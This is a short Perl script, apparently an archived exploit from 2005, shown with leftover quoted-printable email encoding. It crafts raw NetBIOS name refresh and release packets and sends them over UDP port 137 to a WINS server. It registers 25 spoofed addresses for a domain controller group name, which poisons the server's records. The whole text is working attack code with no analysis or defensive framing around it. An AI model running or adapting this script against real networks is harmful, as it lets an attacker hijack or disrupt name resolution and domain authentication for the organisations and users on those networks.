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wins2.pl
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2005-02-12
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67 lines
use Socket;
$WINSAddress =3D "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
$DomainName =3D "AAADUMMY"; #Must be all caps
$SequenceNumber =3D 0x8000;
socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die =
"Socket not created $!\n";
$destAddress =3D inet_aton($WINSAddress);
$destPort =3D sockaddr_in(137, $destAddress);
for ($i=3D1;$i<=3D25; $i++)
{SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}
sub Sequence
{
my ($high, $low, $str);
$high =3D $SequenceNumber >> 8;
$low =3D $SequenceNumber % 256;
$SequenceNumber +=3D 2;
$str =3D chr($high) . chr ($low);
return $str;
}
sub SendRelease
{
my ($tempname, $data);
$tempname =3D NetBIOSName ($_[0], $_[1]);
$data =3D Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
. $tempname . =
"\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x2=
0\x00" . $_[2];
send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
to send packet: $!\n";
}
=09
sub SendRefresh
{
my ($tempname, $data);
$tempname =3D NetBIOSName ($_[0], $_[1]);
$data =3D Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
. $tempname . =
"\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe=
0\x00" . $_[2];
send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
to send packet: $!\n";
}
sub NetBIOSName
{
my ($c, $ord, $high, $low, $tempname);
while ($_[0] =3D~ /(.)/g)
{
$c++;
$ord =3D ord ($1);
$high =3D $ord >> 4;
$low =3D $ord % 16;
$tempname .=3D chr($high +65) . chr($low +65);
}
for (;$c<15;$c++)
{$tempname .=3D "\x43\x41"}
$high =3D $_[1] >> 4;
$low =3D $_[1] % 16;
$tempname .=3D chr($high +65) . chr($low +65);
return $tempname;
}